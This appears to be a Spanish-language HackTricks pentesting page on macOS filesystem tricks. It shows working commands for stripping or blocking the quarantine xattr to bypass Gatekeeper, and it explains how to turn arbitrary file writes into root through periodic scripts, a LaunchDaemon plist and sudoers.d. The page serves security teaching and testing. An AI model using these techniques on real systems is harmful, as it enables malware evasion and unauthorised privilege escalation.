mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-10 20:28:57 +00:00
204 lines
11 KiB
Markdown
204 lines
11 KiB
Markdown
# Trucos de macOS FS
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Combinaciones de permisos POSIX
|
|
|
|
Permisos en un **directorio**:
|
|
|
|
* **lectura** - puedes **enumerar** las entradas del directorio
|
|
* **escritura** - puedes **eliminar/escribir** archivos en el directorio
|
|
* **ejecución** - se te permite **atravesar** el directorio - si no tienes este derecho, no puedes acceder a ningún archivo dentro de él ni a ningún subdirectorio.
|
|
|
|
### Combinaciones peligrosas
|
|
|
|
**Cómo sobrescribir un archivo/carpeta propiedad de root**, pero:
|
|
|
|
* Uno de los **directorio padre propietario** en la ruta es el usuario
|
|
* Uno de los **directorio padre propietario** en la ruta es un **grupo de usuarios** con **acceso de escritura**
|
|
* Un **grupo de usuarios** tiene acceso de **escritura** al **archivo**
|
|
|
|
Con cualquiera de las combinaciones anteriores, un atacante podría **inyectar** un **enlace simbólico/duro** en la ruta esperada para obtener una escritura arbitraria privilegiada.
|
|
|
|
### Caso especial de la carpeta raíz R+X
|
|
|
|
Si hay archivos en un **directorio** donde **solo root tiene acceso R+X**, estos **no son accesibles para nadie más**. Por lo tanto, una vulnerabilidad que permita **mover un archivo legible por un usuario**, que no se puede leer debido a esa **restricción**, desde esta carpeta **a otra diferente**, podría ser abusada para leer estos archivos.
|
|
|
|
Ejemplo en: [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
|
|
|
|
## Enlace simbólico / Enlace duro
|
|
|
|
Si un proceso privilegiado está escribiendo datos en un **archivo** que podría ser **controlado** por un usuario de **menor privilegio**, o que podría ser **previamente creado** por un usuario de menor privilegio. El usuario simplemente podría **apuntarlo a otro archivo** a través de un enlace simbólico o enlace duro, y el proceso privilegiado escribirá en ese archivo.
|
|
|
|
Verificar en las otras secciones donde un atacante podría **abusar de una escritura arbitraria para escalar privilegios**.
|
|
|
|
## FD arbitrario
|
|
|
|
Si puedes hacer que un **proceso abra un archivo o una carpeta con altos privilegios**, puedes abusar de **`crontab`** para abrir un archivo en `/etc/sudoers.d` con **`EDITOR=exploit.py`**, de modo que `exploit.py` obtendrá el FD al archivo dentro de `/etc/sudoers` y lo abusará.
|
|
|
|
Por ejemplo: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
|
|
|
|
## Trucos para evitar atributos de cuarentena xattrs
|
|
|
|
### Bandera uchg / uchange / uimmutable
|
|
|
|
Si un archivo/carpeta tiene este atributo inmutable, no será posible poner un xattr en él.
|
|
```bash
|
|
echo asd > /tmp/asd
|
|
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
|
|
xattr -w com.apple.quarantine "" /tmp/asd
|
|
xattr: [Errno 1] Operation not permitted: '/tmp/asd'
|
|
|
|
ls -lO /tmp/asd
|
|
# check the "uchg" in the output
|
|
```
|
|
### Montaje de defvfs
|
|
|
|
Un montaje de **devfs** **no admite xattr**, más información en [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
|
|
```bash
|
|
mkdir /tmp/mnt
|
|
mount_devfs -o noowners none "/tmp/mnt"
|
|
chmod 777 /tmp/mnt
|
|
mkdir /tmp/mnt/lol
|
|
xattr -w com.apple.quarantine "" /tmp/mnt/lol
|
|
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
|
|
```
|
|
### ACL de writeextattr
|
|
|
|
Este ACL evita agregar `xattrs` al archivo.
|
|
```bash
|
|
rm -rf /tmp/test*
|
|
echo test >/tmp/test
|
|
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
|
|
ls -le /tmp/test
|
|
ditto -c -k test test.zip
|
|
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
|
|
|
|
cd /tmp
|
|
echo y | rm test
|
|
|
|
# Decompress it with ditto
|
|
ditto -x -k --rsrc test.zip .
|
|
ls -le /tmp/test
|
|
|
|
# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
|
|
open test.zip
|
|
sleep 1
|
|
ls -le /tmp/test
|
|
```
|
|
### **com.apple.acl.text xattr + AppleDouble**
|
|
|
|
El formato de archivo **AppleDouble** copia un archivo incluyendo sus ACEs.
|
|
|
|
En el [**código fuente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) es posible ver que la representación de texto de ACL almacenada dentro del xattr llamado **`com.apple.acl.text`** se establecerá como ACL en el archivo descomprimido. Por lo tanto, si comprimiste una aplicación en un archivo zip con el formato de archivo **AppleDouble** con una ACL que impide que otros xattrs se escriban en él... el xattr de cuarentena no se estableció en la aplicación:
|
|
|
|
Consulta el [**informe original**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) para obtener más información.
|
|
|
|
Para replicar esto, primero necesitamos obtener la cadena de acl correcta:
|
|
```bash
|
|
# Everything will be happening here
|
|
mkdir /tmp/temp_xattrs
|
|
cd /tmp/temp_xattrs
|
|
|
|
# Create a folder and a file with the acls and xattr
|
|
mkdir del
|
|
mkdir del/test_fold
|
|
echo test > del/test_fold/test_file
|
|
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
|
|
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
|
|
ditto -c -k del test.zip
|
|
|
|
# uncomporess to get it back
|
|
ditto -x -k --rsrc test.zip .
|
|
ls -le test
|
|
```
|
|
(Nota: aunque esto funcione, el sandbox escribe el atributo extendido de cuarentena antes)
|
|
|
|
No es realmente necesario, pero lo dejo aquí por si acaso:
|
|
|
|
{% content-ref url="macos-xattr-acls-extra-stuff.md" %}
|
|
[macos-xattr-acls-extra-stuff.md](macos-xattr-acls-extra-stuff.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Montar imágenes de disco (dmgs)
|
|
|
|
Un usuario puede montar una imagen de disco personalizada creada incluso encima de algunas carpetas existentes. Así es como se puede crear un paquete de imagen de disco personalizado con contenido personalizado:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Create the volume
|
|
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
|
|
mkdir /private/tmp/mnt
|
|
|
|
# Mount it
|
|
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null
|
|
|
|
# Add custom content to the volume
|
|
mkdir /private/tmp/mnt/custom_folder
|
|
echo "hello" > /private/tmp/mnt/custom_folder/custom_file
|
|
|
|
# Detach it
|
|
hdiutil detach /private/tmp/mnt 1>/dev/null
|
|
|
|
# Next time you mount it, it will have the custom content you wrote
|
|
```
|
|
{% endcode %}
|
|
|
|
## Escrituras Arbitrarias
|
|
|
|
### Scripts sh periódicos
|
|
|
|
Si tu script puede ser interpretado como un **script de shell**, puedes sobrescribir el script de shell **`/etc/periodic/daily/999.local`** que se ejecutará todos los días.
|
|
|
|
Puedes **simular** la ejecución de este script con: **`sudo periodic daily`**
|
|
|
|
### Daemons
|
|
|
|
Escribe un **LaunchDaemon** arbitrario como **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** con un plist que ejecute un script arbitrario como:
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
<plist version="1.0">
|
|
<dict>
|
|
<key>Label</key>
|
|
<string>com.sample.Load</string>
|
|
<key>ProgramArguments</key>
|
|
<array>
|
|
<string>/Applications/Scripts/privesc.sh</string>
|
|
</array>
|
|
<key>RunAtLoad</key>
|
|
<true/>
|
|
</dict>
|
|
</plist>
|
|
```
|
|
Simplemente genera el script `/Applications/Scripts/privesc.sh` con los **comandos** que te gustaría ejecutar como root.
|
|
|
|
### Archivo Sudoers
|
|
|
|
Si tienes permisos de escritura arbitrarios, puedes crear un archivo dentro de la carpeta **`/etc/sudoers.d/`** otorgándote privilegios de **sudo**.
|
|
|
|
## Referencias
|
|
|
|
* [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|